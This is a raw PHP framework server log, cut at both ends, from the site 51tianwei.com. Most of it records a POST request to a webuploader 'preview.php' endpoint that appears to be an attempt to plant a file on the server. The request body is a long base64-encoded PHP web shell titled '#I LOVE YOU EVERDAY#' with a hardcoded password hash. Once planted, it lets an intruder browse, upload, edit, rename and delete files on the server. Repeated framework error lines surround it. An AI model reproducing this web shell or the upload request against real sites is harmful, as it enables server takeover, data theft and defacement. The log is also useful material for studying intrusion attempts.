No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:25+08:00 ] 119.42.146.234 POST 51tianwei.com/static/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002854s] [吞吐率:350.37req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'hui', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:33+08:00 ] 119.42.146.234 POST 